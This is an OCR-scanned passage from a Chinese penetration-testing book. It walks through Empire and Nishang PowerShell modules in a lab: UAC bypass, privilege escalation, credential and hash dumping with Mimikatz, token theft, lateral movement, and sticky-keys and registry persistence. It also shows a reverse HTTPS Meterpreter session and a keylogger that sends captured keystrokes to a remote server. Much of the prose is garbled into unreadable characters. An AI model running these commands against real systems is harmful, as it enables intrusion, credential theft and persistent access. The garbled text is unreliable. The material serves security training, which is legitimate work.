FIGE T REER VT M IR S 28DCHY “CS$”7, 45 R FFEIRAI A, WE6-126F1 7.

E6-126 iiElEARS AR T EA

6.3.7 INFREEF

AL, B B SO = EH RS A AR, itk i #E Windows ', R4 &
FRHIH P RGuest, BERBUSEHMAERBEEER, WA T EH WindowsH FTH R
. REBEREWAE, —BATMEABHNRZEANE, B HFRE FHIX
JUF.
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1. Bypass UAC

i Ausemodule privesc/bypassuac, ¥ B ListenerZ%{, iZ&fTexecute, /52K
E&T—AEHREE, nE6-127H7R.

(Empire: powershell/privesc/bypassuac) > set Listener shuteer
(Empire: powershell/privesc/bypassuac) > execute

foGU S [ { un? {y/N1 Yy
(Empire: powershell/privesc/bypassuac) > back
(Empire: 2KLVAMX9) >
Job started: NPAWVY
[+] Initial agent ZEX4T8(M from 218.7909s3E8. 145 now active (Slack)

E6-127 BypassKk3EmIh

[6] Flagents, ¥ Alistir 4, ATLAEFIZ T —"agents, 25 HIRIAIRBRIIR
agents, HIE6-128F7.

Lang Internal IP Machine Name Username Process

2KLVAMXS ps 192.168.1.179  DESKTOP-2DTMGOM DESKTOP-2DTMGOM\shutpowershell/7176 5/0.0
ZEX4T8M ps 192.168.1.179  DESKTOP-2DTMGOM *DESKTOP-2DTMGOM\shupowershell/9168 5/0.8

E6-128 1RIAIIEYTIFR

2. bypassuac_wscript

IXANRE HR (4 A J 2 {8 F C:\Windows\wscript.exe il {7 Payload, E[%gid UACSE
LT R AR AT Payload, RIEH T &%t N Windows 70 HAREHL, H AT HBCA X
T, WYRERELSERR. WE6-129ATxR, S KR AFEA I .

=mp cript

ADR from 192.168.99.141 now active

ript) > agents

R

E6-129 RINAIIEGIER

AU A b FH 3 BB AL 2
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3. PowerUp
Empire§ & T PowerUpiJ#i7r TR, HT RS, FEH WindowsHi iz RGAAC

BRI . Windows ServicesJiil. AlwaysInstallElevatedJi i &5 8F 3£ AL T 2, #A
usemodule privesc/powerup, /5 {ZTab%E & & PowerUp ) e 313K, WK 6-130/T7~ .

E6-130 ZEEIERYER
(1) AllChecksf&EHr

B ARG R, FPowerSploit N PowerUp H ] Invoke-AllChecksi& Bt — £,
AT DT A AR E R4, WMAUTmS, WE6-131F7xR.

usemodule privesc/powerup/allchecks
execute

[*] Running Invoke-AllChecks

*] Checking if user is in a local group with administrative privileges...
User is in a local group that grants administrative privileges
*] Run a BypassUAC attack to elevate privileges to admin.

*] Checking for unquoted service paths...
*] Use ‘Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse

ServiceName Path

SinforSP C:\Program Files (x86)\Sinfor\SSL\Promote\SinforPromoteServ
ice.exe

[*] Checking service executable and argument permissions...
[*] Use 'Write-ServiceEXE -ServiceName SVC' or ‘Write-ServiceEXECMD' to abuse any binaries

[*] Checking service permissions. ..
[*] Use 'Invoke-ServiceUserAdd -ServiceName SVC' or 'Invoke-ServiceCMD' to abuse

E6-131 KRERGRE

MEI6-131F15EF RIFH TIRZ J77%, A LA i Bypass UACSKRIZRL, $ALATSE
& 4 Hl i agents, K IR A — 4 Name A CD3FRRYCFVTYXN3S, IP A 192.
168.31.251 K @A PR 2 o,  WnfEl6-132F7 71

AR Rl i
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> WebZ Ak HEalKERES

[*] Active agents:

Internal IP Machine Name Username Process

Delay Last Seen
CD3FRRYCFVTYXN3S  192.168. .:1 251 WIN7-64 WIN7-64\shuteer

powershell/3584 5/6.8 2017-07-68 03:44:02

E6-132 #EEHAFIMagents

B2 \bypassuac testfir 2 RIRAL, 2545 LR, mh 2R [B] — AN 58 B AR ) Shell,
W E6-133F 7~

(Empire: ) > bypassuac test

y
(Emplre ) >

Job started: Debug32 adfcj
al agent 341CNFUFK3PKUDML om 192.168.31.251 now a

E6-133 $RHALIS

KRB E YhTagents, A LLEFZ T —/"Name~341CNFUFK3PKUDML 1] 54X
R CGRES) &/, mEe6-134F7R, UBHIRBURI) .

Last Seen

powershell/3584
powershell/3156

E6-134 BR&EEFagentsFlik
(2) HEHAER U
AllChecks#EHR B2 A X 40 T FT7R »
o ARAEA G SRS B,
e (EfTACLIEE#5RMIARS (@ service_ *%UFQ Ve
o RS ATHAT SO LR B B A L AR (RI@ i service_exe  *BEATHIAD
o (E(F A Funattend xml 3
e % E AlwaysInstallElevatedyF ff} = Tl
e NEA{ETAutologon il B FEEME
o (E{TINE Kweb.config ¥4 & %DW%?E?%E@
o T/ %PATHY% DLLIISIFFHLE (AT iE it write_dllhijackerF ) o
BARERTER 2 EE LR CE, T s,

s Metasploit. PowerShellz Windows# 1% R4t e B s T LR AL Chttp://www.

AR b i RS e

SH#EH
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freebuf.com/articles/system/131388.html)

®  Metasploit Z Windows Services ¥ i #& A 52 5§ ( http://'www.4hou.com/

technology/ 4180.html)

®  Metasploit, Powershell Z AlwayslInstallElevated$&4 52§ Chttps://xianzhi.aliyun.

com /forum /topic/203 )

4. GPP

FEI HL W o JE AL SR B I R B e A 25 R, TR E AN E R, s
AT A L A 3 7 A RT LA AR S48 1) 38 IS YSVOL H s B 36 845 B, . GPPR R
AES 256 1% (¥, % Ausemodule privesc/gppfn & i F AEEE T, nE6-1357R.

(Empire: ) > usemodule privesc/gpp
(Empire: po el ri ipp) > info

Name: Get-GPPPassword
Module: powershell/privesc/gpp
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2

Background: True

OutputExtension: None

Authors:
@obscuresec

Description:
Retrieves the plaintext password and other information for
accounts pushed through Group Policy Preferences.

Comments:
https://github.com/mattifestation/PowerSploit/blob/master/Ex
filtration/Get-GPPPassword.psl

Options:

Name Required Lue Description

(Empire:
{Empire
(Empire: i
Job started: NCVZFT

Get-GPPPassword completed

(Empire: ) > 1

E6-135 ZEEHGPP

ASCPE A i b FH a3 2 >
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638 #&MMEE

S HEEIE

BAVESRELR S5 23 BUR 5, o7 LAMEF P9 B iIMimikatz R IR R &R, PATRER
#i N\ credsfin 2 B ] 2 & Empire 51| 25 1 %8S,  W1El6-136F7R .

CredID CrndT/ue Domain Useriame Password

69943¢5e63bA4d2c104dbbecc15138b72b
IN7- X86 shuteer 31d6cfefd16ae931b73c59d7e0c889¢0
WIN7-X86

1
69943c5e63h4d2¢104dbbcc15138072b

57267004e52740467a0fb425¢39319%aa
1
2e94b e13f9a4d347fcbbbc21a635
98157 ¢041180d21c703:
65e3fad968cb17fa2ed f4a3667
{INT-64 -‘ Xuyan
WIN7-X86 e 909f577777c041180d21c70331623858e

shuteer.testlab VIN7 - $ 7 238840bee93573160b38091aa5b50129
WIN7-X86 ! v Xuyan

El6-136 FIZEHEIER
MBE3-136-F AT LUR IR S8UH P G 7E L R 55 28 L85, SO AT LG OS54

RGBS, EAEGRSM, FHpth<iD>m4, XEMIDS M Zcreds T 1
CredIDS, X H 5l Administratorff] & 434k, #ATpth 7674, E6-137F7R.

E6-137 HZEHEHNHSHE
M E6-1379 AT LLE BIPID#FE S 91380, 1 fisteal token PIDfi4 RN W] 51 B iZ &

AR &




#6% PowerShellst#3% <« 325

P4k, wnE6-138FT7N o

Running As: SHUTEER\Administrator

Use credentials/tokens with RevToSelf option to revert token privileges

E6-138 RBEHAFLHE
[RIRE AT LA A psfin & A & B A A IR, anEe-139FT .

) > ps
PID Arch

E6-139 #EYFHHIE
ME6-139 0] LLE BIAFESH 3R, X B %k R —4 \Name NCMD, PIDA
138013 EFE, fnE6-140F7s .

1380 x64 SHUTEER\Adminis 2.66 MB
trator

[E6-140 ZEFHPID

[F] % 38 I steal_token iy &R 7 HUX A4 M, X B 2R A B — & THl
WIN7-X86/] “CS$”, 45 RIAAIViI, wnE6-141F7R .
Running As: SHUTEER\Administrator

ntials/tokens with RevToSelf option to revert tok
) > shell dir \\WIN7-X86\c$
) >

\\WIN7-X86\cs

LastWriteTime Length Name

2017/6/12

2017/5/5
2009/7/14
2017/6/12

20817/7/9 ile
2015/3/16 : QMDowntoad

2017/7/8 9: Use

2017/7/9 :49 Windows
2009/6/11 3 4 autoexec.bat
2009/6/11 2 config.sys
2017/6/21 g 2841 PowerUp.psl
2017/6/22 x test.dll

E6-141 REINETELSHE

LRl &

e T

M
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& Arevtoselffir 2 7] LUK2 AU SRR 2 2 F R FPRAS, tn&l6-142F 7R .
{Fmpir@: > revtoself
(Empire: ) >
RevertToSel f was successful. Running as:

DEV\justin

E6-142 HRESHANR

2. IEEN

Hs2 ] LU Flusemodule management/psinjectfERFEATHERREN, FREUVBUR .
255 5 B ListenerfllProc IDIX N S4], 1X B ffJProc IDIE 2 2 A{CMDHI1380, iE1T/5
JR 3 [l — AN AR Shell,  aEl6-143FT7 o

ject) > set Listener shuteer
t) > set ProcId 1380

g7
[+] Initial agent LSXM12ZI1HDA21YWN from 192.168.31.251 now active

ent/psinject) > back
ent/psinject) > back
) > back

Internal IP Machine Name Username Process Last Seen
K2LMSXPYN2EZNVYK 192.168.31.251 WIN7-64 WINT -64\shuteer powershell/1980 . 2017-07-09 09:34:29

WXEEWWKNWMHKMCFU ~ 192.168.31.251 WIN7-64 *WIN7-64\shuteer powershell/576 . 2017-07-09 09:34:31
LSXMI2Z1HDA21YWN  192.168.31.251 WIN7-64 *SHUTEER\Administratcmd/1388 5/8. 2017-87-69 89:34:33

E6-143 RN

3. Invoke-PsExec

PsExec & %3 fEMetasploit ™48 % {f F AEER,, PsTools T R+ U PsExec, 1%
TR G R R R B AR R B AR U R 38 T B &, 11 B 7% 2T /5 admin$ 44555 O
=, KA R L E BR B SYSTEM AL FR « 31X B 78 {9 /2 Empire T
Invoke-PsExecti it .

fEFIZBER M ATIR 2 CAR/AMEH IR, EEREHAKS, REk
H— B RERBEENAN.

TR Z BT & M flagents, KILREF—1IPAH192.168.31.251, Hla& N
WIN7-6411 iR 55 2%, WE6-144F77R o

AR L iR g
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) > agents

al IP Mach

‘"6L3EKZXCS 1924160A3i:251 Qi“7
El6-144 #ZEFagents

PR ZE {f Fd usemodule lateral movement/invoke psexectHRiZFE A B — G LA
WIN7-X86, fiiNinfolfHi&ESH, WE6-1457R.

r) > usemodule lateral move

Name: Invoke-PsExec
Module: lateral movement/invoke psexec
NeedsAdmin: False
OpsecSafe: False
MinPSVersion: 2
Background: True
DutputExtension: None

futhors:
gharmjOy

pescription:

Executes a stager on remote hosts using PsExec type
functionality.

Name Required Value Description
Listener False

E6-145 EFREESH

X BEREHAS LW, FA LU 62 4T execute)5 B /I & B R 38 D4 AT
11 6-146 71 -
set ComputerName WIN7-X86.shuteer.testlab

set Listenershuteer
execute

(Empire: lateral movement/invoke psexec) > set ComputerName WIN7-X86.shuteer.testlab
(Empire: lateral_movement/invoke_psexec) set Listener shuteer
(Empire: lateral_movement/invoke_psexec) execute

>
>
Yy
>

(Empire: lateral_movement/invoke psexec)
Job started: Debug32 996s8
[+] Initial agent WBZPLMRXAUAFHMUR from 192.168.31.158 now active

E6-146 RIERIN
i Nagentsfy 2 B & X lagents, KME T — I IPKN192.168.31.158, HlLax& N

SO AR b P 3 BB JAE 5 ST
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WIN7-X86/1 R %5 2%, WE6-147F7 .

) > agents

Intm‘n.)l IP Machine Name Username Process Last Seen

SPUTEE Adf"lrn<tr:tpo\ler .l / ¢ * 2017-07-09 02 06
*SHUTEER\SYSTEM powershell/5972 s 2017-07-69 62:11:06

El6-147 #EFHagents

4. |nvoke-WMI

‘B tEPsExec %4, Fif Window R4 a A T ZMk%, B3 5 Fwmiexecit
ﬁlﬁlﬁiﬂfﬂ Windows R A IR NN STE H & il X L4, XBURAE W] MBI St
H&, ANEEEATHE NEE, BEEHR&EPREE, BEoREBFIESEIFRE T
KBS, FIWMDK T iEER: L B Frplds. % Ausemodule lateral movement/invoke wmi
BRI iZA sk, H Ainfofn @ BEH EAESH, WE6-148F7R.

(Empire: ) > u<emoauln lateral movement/invoke wmi
(Empire: 1 1_mo\ ) > info

Name: Invoke-WMI
Module: lateral movement/invoke wmi
NeedsAdmin: False
OpsecSafe: True
MinPSVersion: 2
Background: False
OutputExtension: None

Authors:
@harmjoy

Description:
Executes a stager on remote hosts using WMI.

Required Vatue Description

Listener Tlue shuteer Listener to use.

CredID False : CredID from the store to use.

ComputerName True WIN7-64.shuteer.testlab Host[s] to execute the stager on, comma
separated.

Proxy False default Proxy to use for request (default, none,
or other).

UserName False [domain\]username to use to execute
command.

ProxyCreds False default Proxy credentials
([domain\]Jusername:password) to use for
request (default, none, or other).

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

Password False Password to use to execute command.

Agent True LYKEED2GL3BKZXCS Agent to run module on.

E6-148 #EHEInvoke-WMIE#

AP Rk i

e |
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XEFEFETERENSZAEY, WMALL T2, PiTexecutedn 2 J5 B Al F 2|
BT, nE6-149F7s .

Set ComputerName WIN7-X86.shuteer.testlab
Set Listener shuteer
Execute

(Empire: lateral move t/invoke wmi) > set ComputerName WIN7-X86.shuteer.testlab
Empire: aral t/iny mi) > set Listener shuteer
ovement/1i mi) > execute

E6-149 RIEALIH

WMIiE A — N usemodule lateral movement/invoke wmi_debuggerf& ik, & fi H
WMIZ % B .4 Windows Accessibility /] $147 X/F FAE R — AN A 2%, i‘zﬁb'f%ﬁu"
WA FEsethe.exe CRbvreE, 3% T T ShiftEERI AT il ) narrator.exe (CAFEEH,
FIFUtilman$ O ¥3% )« Utilman.exe (WindowskHiBh B H 4%, 1% Win+U4 5 R0 a] E
Fi). Oskexe (EHIEEAL, WF|HUtilmant M5 ). Magnify.exe (HKE:, wF]H
Utilman#z DB D, #HArgsE W] ek —T.

5. PowerShell Remoting

PowerShell Remotings&PowerShell{¥iZfEE FETIHE, JT /5 Windowsi 2 E HE Ik 55
WinRM 24t 5 2 V759855 [, 1%k %5 ERATEWindows Server 20127 & B shH, 1E
Windows Server 2003/2008/2008 R24 FEE F 5 5 5«

R B ¥ FEHLE H T PowerShell Remoting, B¢ #6 J8 e IR B ZEHE, A
LA Flusemodule lateral movement/invoke psremotingfiE 47 #E [A1153E, WIEI6-150
Fr7s o

(Emper: powe L1/lateral_move t voke I ) > set ComputerName WIN7-X86.shuteer.testlab
powe L/lateral emer / ) > set Listener shuteer
ting) > execute

j) > back
} e
Invoke- PSerotlxa executed on "WIN7-X86.shuteer.testlab"

El6-150 invoke_psremotingi&ik
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6.3.9 &l

JETT, ARRedfs— @RS IR, W B REw, sk e A s 4t
TS #E. 5B 29Uk, JaITRIEGE 2 H TRBCIE PR StV 1
BT Ja11eEZERN B R80T LS B RS Bt N BE I R 4.

B PRFFAMEENFF Shift IBI7]

i Nusemodule lateral movement/invoke wmi_debuggerinfofiy 4> B} v] {8 F iZ 55k,
fNinfor] UEF BRAEMRESH, wE6-151F7R.

(Empire: ) > usemod&le lateral movement/invoke wmi debugger
(Empire: hell/l > ) ug ) > info

Name: Invoke-WMIDebugger
Module: powershell/lateral movement/invoke wmi debugger
NeedsAdmin: False
OpsecSafe: False
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: None

E6-151 EEHFRESH
XRAFTERE]LNSH, MAUT@L, WE6-152F7R.

set Listener shuteer

set ComputerName WIN7-64.shuteer.testlab
set TargetBinary sethc.exe

execute

(Empire: po later n\ 2 wmi_debugg > set TargetBinary sethc.exe
(Empire: ! ) > set WIN7-64.shuteer.testlab

(Empire: L1/latera ement/i fe set ComputerName WIN7-64.shuteer.testlab
(Empire: shell/lateral ve t/inve v g info

E6-152 RERENSH

BTG, EEFRENTESEFE DESIKShifBiI itk G, BRaENLaE
— /NS HE— NI, WE6-153F7~.
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{55! Windows Server 2012 X;E’;’m7x64 % || (S Windows 7486 % | (S Kalilinux-2017. 1vm-amd6d X |

© wma

RRRRERE?

WS —E—NE, HAEERAVEER Shift. Ctrl. Al B Windows 852, BR
HAERYRSEREATER 5 R Shift @,

SHEENEHATRO, EERSRESN

a7 [(=m ]

WEREW)
E6-153 MK

A LRI Empire O 476 RO E2k, XERNTHIE, Z£354% 73EShift/51],
T LA [a] k3R, Wl 6-154F 7R .

e B
E6-154 KM
FEEEEMRE, sethe.exe] LEHAL LA FX LI, W TR,
®  Utilman.exe (ffFHWin+UHERES) -
o oskexe (F# LM FHWNn+UBIIHER) .
*  Narrator.exe (HZIPHAN: FHAWn+UBSIHEHE) .
Magnify.exe (KBE: (A Win+ UHG#EFD) -

2. EMRENG]

% \usemodule persistence/userland/registry iy 4 B Al i ik, ZEHIET /G
2 BinENUE SR — A4, U TS RERS LS H, wiE6e-15557R.
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set Listener shuteer
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

Description

ProxyCreds Fal>e Proxy credentials
([domain\]Jusername:password) to use for
request (default, none, or other).

EventLogID False Store the script in the Application
event log under the specified EventID.
The ID needs to be unique/rare!

ExtFile False Use an external file for the payload
instead of a stager.

Cleanup False Switch. Cleanup the trigger and any
script from specified location.

ADSPath False Alternate-data-stream location to store
the script code.

Agent True Y6CPSAH9 Agent to run module on.

Listener True shuteer Listener to use,

KeyName True Updater Key name for the run trigger.

RegPath False HKCU:SOFTWARE\Microsoft\ Registry location to store the script

Windows\CurrentVersion\R code. Last element is the key name.
un

Proxy False default Proxy to use for reguest (default, none,
or other).

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

E6-155 WESH
HEMNERRGN KRS EIEIT, SRR, WE6-156FT~.

> set Listener shuteer
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

back
: 192.168.1,180 now active (Slack)

[#] Initial agent C

E6-156 KM
3. MAESKBRENUR

fi1 Ausemodule persistence/elevated/schtasks 4 B ] {f fj iZ# B, X L E K E
DailyTime. ListeneriX i34, BIALL T4, WETEH Aexecuted s, T #

B AR 8] B R IR B — N R AR I Shell, 78 SEBRIBIE W IB T 12 AR AT,
BB RR, WE6-157H .

set DailyTime 16:17
set Listener test
execute
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Updater
ablished using 1 e ed M:\Softwar Cri ork\debug with Updater daily trigger at 16:17.
TSTLCGL from Vi

El6-157 R3EAII

e M Nagentstn 2 B F X lagents, AJUEFINZ T — P HAGSYSTEMIL R,
Name NLTVZB4WDDTSTLCGLHIE ' g, U1PE6-158F7n, ThBHIRALR T o

> agents

K2PKLOML

LTVZBAWDDTSTLCGL  192.168.31.251 WIN7-64

El6-158 #ZEFHagents

X B4 R 4 set RegPath ) 2 % £ ¥ HKCU:SOFTWARE\Microsoft\Windows\
CurrentVersion\Run, HPABETEL6: 178 IN— NMEMRIENGTT, LER LIS —
To

6.3.10 Empire & 3#[E Metasploit

TESERRBIE , M8 3| WebShell - 4£ FIMSFZ /- i Joik e H AR AL R T
i, AT LA FHPowerShellSk &t , 7] LA AT Empire I Payload>R5eid, mMib)Z J5 B
FEmpire B HORE H 523 [5] Metasploit .

iX B f Flusemodule code_execution/invoke shellCode#HE M A2 %: Lhost
FLport. KLhostEHCAMSFRTE FHLIIP, %L N4 E T, WE6-159FR.

Set Lhost 192.168.31.247
Set Lport 4444

(Empire: cod - ’ invoke shellcod et Lhost 192.168.31.247
(Empir_e: inve ellcod xecute

E6-159 ®ESH

{EMSF FiZ B 0T, A, 8175, #ial DAYSCEIEmpire 2 34 [ R ¥ Shell T,
& 6-160 7 o
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Use exploit/multi/handler

Set payloadwindows/meterpreter/reverse_https
Set Lhost 192.168.31.247

Set lport 4444

Run

msf exploit( ) > set LHOST 192.168.31.247
LHOST => 192.168.31.247
) > run

Started HTTPS reverse handler on https://192.168.31.247:4444
] Starting the payload handler...

*1 https://192.168.31.247:4444 handling request from 192.168.31.251; (UUID: wz5ns26k) Staging x8
6 payload (958531 bytes) ...
Meterpreter session 1 opened (192.168.31.247:4444 -> 192.168.31.251:55406) at 2017-07-09 10:1

E6-160 KR3#RIN
6.4 Nishang

Nishang /& — k£ XfPowerShell )21 T A . B & T PowerShell{iZ&EMHA % H T
B, SEHRTHESR. AN MPayload, WF T FERMPIT, ALK, DNS. ER
A, WM TEENRR SN B H T #iik Ahttps://github.com/

samratashok/nishang.
6.4.1 Nishang f&/t

Nishang Z £ PowerShell 3.0LA_ERIFRIGE A AT LLIEH A, tHHLE Ui fE Windows
TFEINER s/, K AWindows T HH IH5E & PowerShell 2.0.

SN J5%i ANGet - Command - Module nishangfiy 4 7% & Nishang #f5 £ H Lo 5
B, WE6-161F17R.
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PS C:\Users\Administrator> Get-Command —-Module nishang

CommandT ype Name Definition

Function Add-Exfiltration
Function Add-Persistence
Function Add-RegBackdoor
tFunction Add-ScrnSaveBackdoor
Function 64ToString
fFunction “heck-UN

Function ConvertTo-ROT13
Function Copy-USS

tFunct ion Create—MultipleSe
HFunction DNS_TXT_Punage
Function Do-Exfiltration
Function Douwnload

Function

Function Dounloa

Function Enahle—-DuplicateToken
Function Execute-Command-MSSQL
Function ixecute-DNSTRT-Code
Function Execute-OnTine
Function ExetoText

Function FireBuster

| Function FireListener

Function Get—-Information
Function Get-LsaSecret
Function

Function

Function

Function H Ueh(, dentials
Function e ‘Ul(\n -Keys
Function iet—miShe 110utput

E6-161 EFRRIIR

M B 6-161 1 7] LLFE F, Nishang 1T ar & &4 FI >k 7 o AT 0 &
Get-InformationZE & 45 5, X ANHIAT] LLIREE AxHLes LM REE S (FTPUG . 2
B, TENRERFE. TEMEMREHELE. Hosts(E 85, BEHTLL FmS,
ATUERIFIH T AV E R, E6-162F7.

PS > Get-Information
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NDOWS\TEMP

E6-162 FIHAHHIHMER

EFTREY — &, BATAT LLEPowerShell 7 4 FH Out-File ¥ AT 45 J 5 i 1] 5L
freb, W HTR.

PS D:nishang-master> Get-Information | Out-File res.txt

XHE, AT LSR5 B AR fEres. txtH T o

T Nishang ) H X E%E H 345, 7E£F Anishang psm1 fJHf %, Nishang T
HIFT A AL AT DL B e PowerShelli 2] . (HIESE PR @ d 18, 5 &€ A fEitNishang
AN HRWMER B RS S Lo FTUERRE FEE AR R %, T/#HERES
X FHEIM A ERIRE BN, nE6-163f17s.
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git 2017/6/26 1%:16
ActiveDirectory 2017/6/26 19:16
Antak-WebShell 2017/6/26 19:16
Backdoors 2017/6/26 19:16
Bypass 2017/5/26 19:16
Client 20
| Escalation 2
. Execution 2017/6/26 19116
Gather 2017/6/26 19:16
Misc 2017/6/26 19:
. MITM 2017/6/26 19:16
Pivot 2017/6/26 19%:16
powerpreter 2017/6/26 19:16
. Prasadhak 2017/6/26 19:16
. Scan 2017/6/26 19:16
. Shells 2017/6/26 19:16
¢ Utility 2017/6/26 19:16
] .gitattributes 2017/6/26 19:16 ST 1K8
gitignore 2017/6/26 19:16  STASTHS 3K8
1] CHANGELOG.tx¢t 2017/6/26 19:16 XA 10K8
B DISCLAIMER.txt 2017/6/26 19:16 XA 1K8
D LICENSE 2017/6/26 19:16 X 1K8
] nishang.psm1 2017/6/26 19:16  Windows Power... 1K8
= README.md 2017/6/26 19:16 Markdown File 17 K8

E6-163 EEERREM
T Xt Nishang I8 E & DI REREAT UL B, WiZR6-1~.
#6-1 NishangHuiER X EIhgE

RS I B
Antak-WebShell WebShell
Backdoors =8
Client & g
Escalation AL
Execution RCE
Gather & B
Misc ERll
Pivot BEiR AT EXE
Scan ki
powerpreter Meterpreter 21
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6.4.2 Nishang IR EH L&
Nishang FIEHIRZ, A/ R o, HALWEIEE £ 2 223,

1. Check-VM

AR TN LRIV ERRE T —6 M ENNL. e e s —
e ERNLIESUE B (InHyper-V, VMware. Virtual PC. Virtual Box. Xen. QEMU)
RRH, wEe6-164F~, HMLEE— & B,

PS C:\Windows\system32> Set-ExecutionPolicy remotesigned

i@ about_Execution_Policies

:\> .\Check-UM.ps1
3:\> Check-UM
This is a UNUare machine.

E6-164 M2 E AELIL
2. Invoke-CredentialsPhish

XA GRS B AR VLA, bR P RAERS, ESEhRGE A i
W UR S KIFEBR IR RTEER, BRI0E6-16507T7R .

2889/7/14
2817/6/8
2017/6/18 :2 i
20172/5/31 i
20817/6/8 : ﬁ
2017/6/26 |
2012/6/26 2 | Please enter your user name and password.
2884/12/30 i
20815,7/,23 |
281?2/6/1

BREW: [ 4}

PS C:\> Import—Module .\[nuokc—Credenté
PS C:\> Invoke-CredentialsPhish

I
1

|
|
|
|

El6-165 FEBIRAFRAMKSERS

EIA K T BEAR SRR, RO IER At 5¢ AN 7 XS TEAE, R ARSI 45 R
R, XRBIEBP S EE AR S ES, WEe-166/T7.
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BPS C:\> Import—Module .\Invoke-CredentialsPhish.psl
8PS C:\> Invoke—CredentialsPhish

Username: smile Password: 123456 Domain: Domain:
PS C:\> ag

El6-166 mMINFKENKSER

3. Copy-VSS

X AN A F Volume Shadow Copy k%5 & fillsam 30, WIRIXANHIAZITE T
DCHLE, ntds.ditFISYSTEM hiveth fE## U1 Hik .
AR R AT, BTSSR anEe6-167F7w .

PS > Copy-VSS  #¥E IS RIFE L ATIRE T
PS > Copy-VSS -DestinationDir C:temp  #BEMHRAFHMHKE (UIECEFENBRE)

& BB Windows PowerShell SLEx

; 71 @ [&» mshang ma;erg - vkc; | na L
Y s sk : wxER Sl =
B TR 4 Prasadhak 2016/11/10 12:02
i A L Scan 2016/11/10 12:02
{ ) mEsEsaR 4 Shells 6/1
& Lrility Titm
i = | gitattributes GITATTRIBUTES ...
B gz || .gitignore GITIGNORE Z#% 3f
= BR L CHANGEL 10
i Kifpoc |} piscLam it
o mR [ encoded 4
| || encod mmand 12 :E
B Be L8 ] LICEN! 11
I -Enus i 11
| [ README.md 2016/10/4 13:03 15
| [Csam~ = ooeiponse ik 2561y
L <k i >

El6-167 Copy-VSSHIZITER

4. FireBuster FireListener 335238
FHF %6 9 EAT 34, FT TR AR HB S T, S8 JE im PR AR 16 204 , #1260 K 48 FireListener .
B SE7EAN SN LA 4y 212 1T FireListener

FireListener 130-150

BEEE RN LL R4, 45 R unE6-168FT7R .
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FireBuster 192.168.12.107 130-150 -Verbose

5 C:N\> FireBuster 192.168.12.1087 136-158 -Uerbose
Trying to connect to 192.168.12.107 from 138 to 158

Irying port 138
Trying port 131

g port 132

ing port 133
Trying port 134

: Trying port 135

Trying port 136
Twying port 137
Trying port 138
= Teying port 139

Trying port 1480
Trying port 141

E6-168 ImiZfEEHIE
5. Keylogger &iCF

Nishang {82 1 10 FARHZ B AT N IEEE W ThRE BN RN, HAERXME
REFBISCHE, AT 4, mE6-1697R .

Get-Help .\Keylogger.psl -full

com/raw. php?i=jqP2v]3x —MagicString stopthis -exfil -ExfilOption WebServer

ata/catch. php

which logs POST ri

E6-169 EFHMAH
A UEEIE6-169 4t TR AT 7, Rikar & s,



e

%63% PowerShell+##d <« 341

\Keylogger.psl #ffifXFi7=igl7, BAICFESWIRFLEURH, Temp BHFRTH key L.

\Keylogger.psl -CheckURL http://pastebin.com/raw.php?i=jqP2vI3x -MagicString stop
this # -CheckURL ZHSREMGHMM T Z PR GRS -MagicString ERFR/ &, WIRMAFEM
{7 B e 3.

\Keylogger.psl -CheckURL http://pastebin.com/raw.php?i=jqP2vI3x -MagicString stop
this -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php #¥
TOFAR B KR — NP LLIE 3 Post 7 3K Web R554% .

\Keylogger.psl -persist #SHlFFAMILTE (FEEFKRAHFTIET.

T VE YR T B — o, HEEHUTKeyloggerpsli%, BRA&7ETemp H X
A — M keylog 3, nE6-1707R .

Al 2R Fih
e ;,‘vh‘gbysn =
s i vmware-Administrator
-gm | | & wicod3oh 2016/11 :
EMEEOR G siout 2016/11/10 1231
L xcowdSyn 2016/11/10 12:32
g | & xe2dsruh 2016/11/10 12:33
a i i‘z,j i xeizh20z 2016/11/10 12:28
"’ :; l 4 1. yaffgast 2016/11/10 12:32
d’ o | 4 yarngaau 2016/11/1012:29
1] & yvginxrk 2016/11/10 12:31
A i |k zb0d3det iy 2016/11/10 12:28 %4
- They 0 ST i I510 . e 28]

E6-170 “pkkey.logsct

RIEHIA LA A4, {#H Nishang Utility ™ [¥JParse_KeysKfEHT, parsed.txtE g4
LT A R e, N E6-171F77R .

PS >Parse_Keys .key.log .parsed.txt
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> WebZ A By HEnliX kK

g TAE-T

i

23
[ 23
223
BJATTRIBUTES ...
SHGNORE X%

5 ey =
IHE)  REE)
| testbaidu/cpBack B

IO~ - by

E6-171 EFRBPICR

6. Invoke-Mimikatz

F5E LAY Mimikatzff#E 5k, AR EARMSHEENT, ZEAEH
Jag R Ee-172F7 .

Invoke-Mimikatz -DumpCerts ##Dump H KL IS B

Invoke-Mimikatz -DumpCreds -ComputerName @("computerl", "computer2") ##Dump HiZF2
BT B EALRAEIEE B

Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computerl" ##7EiT
TR — G118 FIB4T Mimikatz FFH4T "privilege: :debug exit"

(88888003 1 Primary
* Usernane ile
* Domain WIN-QUCB6AB?U1A
* LM : 44efcelbdab?21icaaad3h435h51404ee
* NTLM : 32ed87bdb5fdcSe9cha88547376818d4
* SHA1 : 6ed5833cf35286ehfB662h7h5949fBd742bbec3f
tspkg =
* Username : snile
* Domain WIN-QUCB6AB?ULA
% Pas : 123456
wdig
* Username : smile
* Domain : WIN-QUCS6ABZULA
* Password : 123456
kerheros =
»* Username : smile
* Domain : WIN-QUCS6AB?U1A
: 123456

E6-172 FIEMimikatzil B
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7. Get-PassHashes

X AN A< 7E A dministrator AL PR T 7] PADump i A9 05 % {E, KU T MetasploitH
fliPower Dumpiiidl, (H7EHIERLMGE T8, EHEAFHFHESYSTEMAR A LA
Dump 1, E6-173F77R.

E6-173 3kHEYHash

8. RENAFHBBRERTER

XA AT LA Windows 3R 18 F F Z IR E B, 7 %A Administrator R
Sz Btsam hive. A AREINGE BARELEFH, BARREGBEKERIIE. £2
BEHYE Mo NS HLERIEREXIMERELEF . WAL T@S, ATLIERR
& Bqwer, WE6-174F78

Get-PassHints

PS C:\Users\snile-TI> Get-PassHints
smile-TT:quer

PS C:\lUsers smile-TT>

E6-174 FKMAFHEBRRES

6.4.3 PowerShell fEEOESZE

